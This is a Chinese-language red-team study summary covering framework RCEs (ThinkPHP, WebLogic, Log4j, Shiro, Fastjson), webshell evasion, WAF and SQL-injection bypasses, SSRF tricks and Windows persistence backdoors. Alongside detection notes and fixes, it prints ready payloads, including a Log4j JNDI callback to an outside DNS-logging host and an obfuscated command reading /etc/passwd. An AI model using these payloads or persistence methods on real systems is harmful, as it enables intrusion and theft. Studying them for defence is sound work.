红蓝攻防总结(攻击篇)
此系列文章是结合红蓝对抗的一些知识点进行讲解并对其进行梳理 之所以会标注一是因为此系列文章将持续更新 如有相关问题可以评论提出 作者将及时改正
RED TEAM
先从攻击队的视角来说吧
常见框架漏洞
struts2
原理
默认的content-type解析器会把用户传来的数据直接当成代码执行
造成rce远程代码执行漏洞
特征
ognl表达式,memberaccess字段,可以通过catalina日志过滤关键信息查找攻击特征
s2-001
s2-005
s2-007
相关漏洞还是蛮多的 如果有师傅需要复现可以查看vulhub
spring rce
构造response_type值传入恶意SpEL表达式打rce
1:OAuth2执行恶意SpEL表达式,在其特定路
径,利用时在response_type值的位置注入POC
达成rce弹shell;
2:spring web flow:在confirm页面抓包,
post值额外加入一段poc达成RCE
3:DATA-rest: 构造PATCH请求包,在json传
输中加入payload
4:Messaging:针对特定(websocket)页面写
exp,让服务器解析请求同时执行代码
5:Data Commons:在/users页面抓包,post
值插入payload即可。
spring只是一个框架
相关漏洞可以自行了解 一般常见的就是未授权和目录遍历
spring boot 端点
路径 描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
thinkphp
PHP后台开发框架
# ThinkPHP 2.x 任意代码执行漏洞
ThinkPHP 2.x版本中,使用`preg_replace`的`/e`模式匹配路由:
php
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
直接访问`http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D`即可执行`phpinfo()`
redis
基于内存的 key-value 数据库
通过未授权向Web目录中写webshell的方式进行
getshell
通过ssh公钥写SSH key的方式进行getshell
通过写corntab计划任务的方式进行getshell
白名单/添加口令 修复
jboss
基于J2EE的开放源代码的应用服务器
1./invoker/readonly(有500报错页面) =>
构造payload---编译并生成序列化数据--存入文
件,并在请求包指向这个文件,让目标读取并反序
列化弹shell
2./jbossmq-httpil/HTTPServerILServlet
(回显This is theJboss)
3./invoker/JMXInvokerServlet(回显该页面就
是接口开放)=》手法同上,让请求读入执行传入
的对象
通常是反序列化和未授权漏洞
weblogic
利用原理
xml反序列化,这是wls组件对外提供的
webserver页面,通过xmlDecoder功能来解析
用户的xml数据导致的任意字符串都被当作代码去执行
直接利用T3协议打payload执行反序列化
间接通过T3协议结合RMP或者ND接口打反序列化
利用xml传输直接通过http包来执行rce
攻击特征
开放7001端口,传递xml数据到wls-wsat,数据
包内容有bash 或者dnslog字段,基于t3的话在
数据包内会有t3字段
日志查看特征溯源画像
日志存放位置:/domains/当前域目录/servers/ 日志查看特征溯源画像
AdminServer/logs
弱口令利用上传war的特征:分析
AdminServer.log日志查找deploy war字样
利用T3协议传输反序列化数据特征:
AdminServer.log日志中,一般利用的cc链(
common-collections),因此日志文件可能有
InvokerTransformer、ChainedTransformer等
利用socket连接特征:base_domain.log或
AdminServer.log日志中,会有socket字样
文件操作:base_domain.log中会有
FileOutputStream字样
绕过
构造特殊的HTTP请求,在未经身份验证的情况下
接管 WebLogic Server Console ,并在
WebLogic Server Console 执行任意代码:比
如vps构造xml,通过未授权进控制台加载这个
xml,从而达成rce
[CVE-2020-2883]-T3反序列化
[CVE-2020-2551]-IIOP反序列化
[CVE-2019-2725]-wls反序列化
[CVE-2017-10271]-XMLDecoder反序列化
[CVE-2020-14756]-IIOP-T3反序列化
log4j
原理
rmi和jndi这种服务,远程获取了恶意的class,解析之后造成rce
使用了lookup接口,通过JNDI注入触发日志,且
调用jndi/rmi服务,远程获取了恶意的class,同
时java在加载class的时候,进行了反序列化,把
class还原成java,在反序列化中会触发你比如(
恶意class文件还原java后的代码中的)static里
的代码Runtime.getRuntime().exec()这种代
码,从而造成RCE
流量特征
通过全流量设备进行流量回查,同时匹配流量及
日志中所有存在“jndi:ldap://”、“jndi:rmi”等字符
的特征。
(工具可能触发)看DNS记录,设备上是否有
dns外带检测告警
实战检测
url编码 传输payload,dnslog平台查看即可 ${jndi:ldap://p8qnbn.dnslog.cn}
shiro
Shiro原理就是说 因为通过rememberme来实现
cookie对用户的记住功能,而处理cookie的机制
是从rememberme作为入口,对数据先base64
解码、然后AES解码、然后执行反序列化最后把
数据传回服务器。而期间AES的密钥泄露造成用
户可以进行恶意cookie重构,所有相反的顺序,
通过AES的key,构造出payload,在cookie的
rememberme进行注入即可执行反序列化漏洞
特征
1.cookie-rememberme的值正常都比较短,而
攻击时的base64值很长
2.有些工具利用的时候DNSLOG+URLDNS进行
检测,所以可能会留下大量dns记录
3.判断shiro对key正确性
shiro550和shiro721区别 一般面试很常问
1.shiro550密钥被硬编码在源码中,所以是默认
key(key固定),且不需要登录就可以直接跑。
而shiro721的rememberme是AES-128-CBC模
式加密,在构造Padding Oracle Attack 的前
缀(是一段value需要碰撞)时,key需要爆破(
key不固定),payload越大爆破越久,且需要有
效登录
2.版本上,shiro550对应的是shiro<1.2.5。而
shiro721是1.2.5<shiro<1.4.2
fastjson
原理
处理json数据过程中因为应用开启了autotype,
却没进行安全的过滤,造成@type用户可控并会
被服务器带回执行。所以利用POST-@type将值
指向我们提前搭建在vps上的恶意class文件,期
间配置RMI(marshalsec 搭建一个RMI服务器,
进行远程加载payload)。传入数据之后,被服
务器本地加载并执行反序列化造成漏洞
不出网
直接将命令执行结果写入到静态资源文件里,如
html、js等,然后通过访问本地文件查看结果。
通过dnslog外带(前提能执行dns请求)
直接将结果回显到请求Poc的HTTP响应包中
日常挖掘
找json传输的接口测试回显,信息搜集指纹识别
等、可以根据logo图标判断是否使用了fastjson
或者改POST花括号不闭合看回显
报错识别
MIME改为json传输 burp修改为post请求
MIME改为json传输 burp修改为post请求
fastjson 1.2.24及以下版本,报错信息不会出现
alibaba.fastjson的字样
报错请求返回,会出现alibaba.fastjson,表示
为:fastjson框架
fastjson1.2.24
1.2.41
1.2.42
1.2.43
1.2.45
1.2.47
1.2.62
1.2.66
存在反序列化漏洞及有相关EXP
java反序列化
原理
从某个包含源输入流的文件(存储区)中,
readObject()进行读取文件中的序列,然后再把
他反序列化成对象,最后把数据传回应用
--------------------------------------------
代码实现:创建一个对象输入流,包装一个其他
类型的如文件输入流,再通过readObject()将其
反序列化成对象传回数据
http请求头(比如cookie:
rememberme等)
报文数据有特征性字段开头:
HTTP:rO0AB开头则序列化+base64
TCP: aced开头则是序列化+16进制
分析是否用了JMX、XMI(远程调用)
观察实现了Serializable接口的类是否存在问题。
观察重写了readObject方法的函数逻辑是否存在问题
###PHP反序列化
原理
反序列化处的参数用户可控,服务器接收我们序列化后的字符串并且未经过滤把其中的变量放入一些魔术方法里面执行
魔术方法
__call 调用不可访问或不存在的方法时被调用 __call($name, $args)
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
常见中间件漏洞
IIS:短文件名 PUT任意文件写入上传
apache:ssrf 目录穿越
nginx:目录遍历 配置文件解析不当
tomcat:rce 文件包含 弱口令
内存马
原理
本身是无文件落地webshell。web发起请求,中
间件各个组件如Listener、Filter、Servlet等进行
处理,攻击者利用请求过程在内存中修改已有的
组件或动态注册一个新的组件,插入恶意的
shellcode,达到注入内存马
通过访问存在漏洞的url加上命令执行参数,即可
让服务器返回结果
PHP内存马
通过while循环在某路径下生成shell来维持权 不死马为主,写循环 PHP内存马
限,即使删除了shell,还是会生成
有点类似于条件竞争 在AWD比赛中很常见
JAVA内存马
注入对象分类
tomcat、weblogic、shiro等
filter型
只要设置filter是/*,那么访问baseURL的所有命
令都可以执行命令,如baseURL/?cmd=
whoami
servlet型
基于某个指定的URL访问,后面跟上系统命令,
如/xxxx?cmd=whoami
同filter listener型
spring类
拦截器
controller型
agent型 Java Instrumentation类
python内存马
aspx内存马
websocket内存马
免杀
回调函数
混淆绕过
插入到白名单文件
多次引用变量之后反引号拼接
可变变量动态赋值
套用数组
变量名称改改 再在webshell里面加入注释 将代码颠倒顺序 逆置函数strrev()
以样本的免杀 + 隐藏 + 不死马、内存马 为主 权限维持webshell
静态为主,exe
WAF绕过
SQL
大小写、双写、函数替换、请求方法(针对某些
waf只检测某一类型的包)分段分别组合fuzz、
内联注释、或者结合数据库特性、编码、分块运
输(添加请求头Transfer-Encoding:Chunked然
后分块)、HPP参数污染、或者对数据包结构、
post超大数据包 等
RCE
空格:重定向符、IFS、其他字符代替、{,}等
命令:函数替换,变量调序、编码、特殊(空)
字符插入、环境变量切割等
函数:"\x73\x79\x73\x74\x65\x6d"("cat /
etc/passwd"); 、 (sy.(st).em)(whoami);
For循环输出
文件上传
大小写绕过 00截断 空格绕过 条件竞争
权限维持
文件隐藏
1.文件属性隐藏显示,通过attrib命令可以只读,
隐藏,存档,系统属性等,一键。
2.ads隐藏:在服务器正常文件echo一个一句话
的数据流文件index.php:hidden.jpg
清除:利用属性隐藏的可以通过选项卡的取消隐藏保护等
清除:需要删除index.php,查看内容就dir /r或者全名。
清除:停服删服删文件即可。 Easy File Locker 3.驱动隐藏:
账号隐藏
1.简单隐藏账户:test$即可,效果:net user 看不到,但控制面板或者
本地用户组可以显示
2:克隆账户制作:改注册表,管理员健值复制到test$隐藏账户,然后导出,命令
行删除隐藏账户,重新导入表,即可。效果:只有注册表能看到,其他啥也不行。
清除:d盾_web查杀,检测克隆/隐藏账号
端口复用
如果一个浏览器正在使用80端口而攻击者此时复用80则会导致正常的浏览器直接关闭
进程注入
1:msf:migrate命令
权限不行,注入到
已有的system进程
排查:监听tcp,比如用tcpview或者其他工具,
异常的连接会不一样显示。
2:empire:psinject模块(ps选择system进程id即可)
排查:windows检测进程的工具,比如火绒剑
3:cs的beacon
排查(process工具):检查通信过程,cs的心跳包间隔规律的特征
后门
1:注册表自启动,还有命令可以实现无文件注册表后门(排查就是查注册表)
2:设置组策略(gpedit.msc):脚本绝对路径(排查就是查组策略)
3:计划任务:schtasks /create 命令(排查就是查任务计划程序)
4:服务自启动:比如sc create 结合ps语句,实现无文件后门
5:另外利用wmi服务也可以实现无文件后门
6:dll劫持(是因为加载进程的时候,没有指定绝对路径,就会
在指定目录下找dll,如果我们有这个目录的控制权限,把恶意
dll放进去,就会被意外加载,造成劫持),比如process
explorer分析可以劫持的进程,然后把dll转为cpp文件,加入
后门代码,重新生成dll,名字改为之前正常dll,然后再加载就
会上线。
7:粘滞键,进cmd
8:logon scripts登录脚本:改注册表;优先于杀软
9:利用屏保程序定期执行的特性,注册表改程序路径为后门
10:金票银票,差别权限不同,金票需要域sid,域名,krbtgt
ntlm hash(猕猴桃lsadump下来)或者aes256值。然后
kerberos生成金票,再导入。银票差不多但是可控范围小一点
11:对msf后门设置定期回连
webtop10
SQL
将select到的数据发送给一个url,利用dns解析产生 Sql注入无回显的情况下,如何利用DNSlog
的记录日志来查看数据(无回显的dns外带)
outfile适合导库 不能写二进制可执行文件 dumpfile、outfile、file_put_contents sql写shell函数
用into outfile函数写马到绝对路径 sqlmap os-shell 原理
宽字节注入原理
本质上是编码冲突问题,只有gbk可以,原理是编码不一致导致的拼接转义而异常引发闭合,造成逃逸,完成SQL注入
Payload:?id=1%df' your payload --+ 或者 赢’)or 1=1# 都可 Addslashes + GPC魔术引号 gbk编码+使用了转义
分两步,先“插入”,再“引用” 二次注入原理
转义函数:addslashes 、get_magic_quotes_
gpc、mysql_escape_string、mysql_real_
escape_string
addslashes()函数转义特性:1' -> 1\' 但“\”不会
代入数据库存储,所以交互过程中转义安全,但
存储下了payload,如果有另个地方引用了这条
数据,可能造成二次注入
sql防护
语句是语句,参数是参数,只按照语义执行 参数化查询
变量绑定,白名单
正则过滤
转义
waf
限制参数输入长度
限制数据库权限
SQL绕过
1:关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct
2:内联注释,如/*!select*/
3:编码,可两次编码
4:multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF
5:参数绕过,复制参数,id=1&id=1
6:组合法如and可以用&&再URL编码
7:替换法,如and改成&&;=可以用like或in等
8:HPP混淆绕过,根据中间件参数吸收点不同,waf不检测但服务器能接受
上传绕过
upload-labs上常见的,结合不同容器版本的解
析特性+黑白名单。
---------------从数据包来说----------------
可以对boundary分段,或多个boundary,或者
在不同位置(filename等)加空格,截断换行,
破坏结构。或者分块传输,加东西删去一些东西
再或者混编码,charset=ibm5等等,js写马绕过
尖括号等等。
csrf漏洞原理
CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击
本质上是cookie不过期,但对请求检测不健全。
然后利用cookie攻击正常信任的网站
篡改、盗取数据、辅助其他攻击 危害
token、给referer套正则限制正常白名单页面、验证码 防护
SSRF
服务端提供了从其他服务器应用获取数据的功
能(提供跳板)
没有对目标地址做过滤与限制
curl(),file_get_contents(),fsockopen()
利用方法
对外网、服务器所在内网(内网可能薄弱)、本地进行端口
扫描,攻击运行在内网或本地的应用,或者利用File协议读取
本地文件,端口服务信息/getshell、Gopher协议构造请求绕
过协议拦截
1.在线识图,在线文档翻译,分享,订阅等,这
些有的都会发起网络请求。
2.根据远程URL上传,静态资源图片等,这些会
请求远程服务器的资源。
3.数据库的比如mongodb的copyDatabase函
数。
4.邮件系统就是接收邮件服务器地址这些地方。
5.文件就找ImageMagick,xml这些。
6.从URL关键字中寻找,比如:source,share,
link,src,imageurl,target。
防护
统一报错、限制请求的端口、协议、对敏感内网ip黑名单、白名 防御
单控制变量、返回信息过滤
SSRF禁用127.0.0.1后如何绕过?
http://example.com@127.0.0.1#
短连接转换
特殊域名
句号代替点
http://127.0.0.1.xip.io/# 会解析到本地的127.0.0.1进制
文件包含
防护
1.禁止远程文件包含allow_url_include=off
2.配置open_basedir=指定目录,限制访问区
域。
3.过滤../等特殊符号
4.修改Apache日志文件的存放地址
5.开启魔术引号magic_quotes_qpc=on
6.尽量不要使用动态变量调用文件,直接写要包
含的文件。
危害
1.读取敏感文件
2.远程包含shell
3.图片上传并包含图片shenll
4.使用伪协议
5.包含日志文件GetShell
6.截断包含
xss防御
对输入(和URL参数)进行过滤,对输出进行编码;白名单和黑名单结合(禁止非 XSS防御法标签)、CSP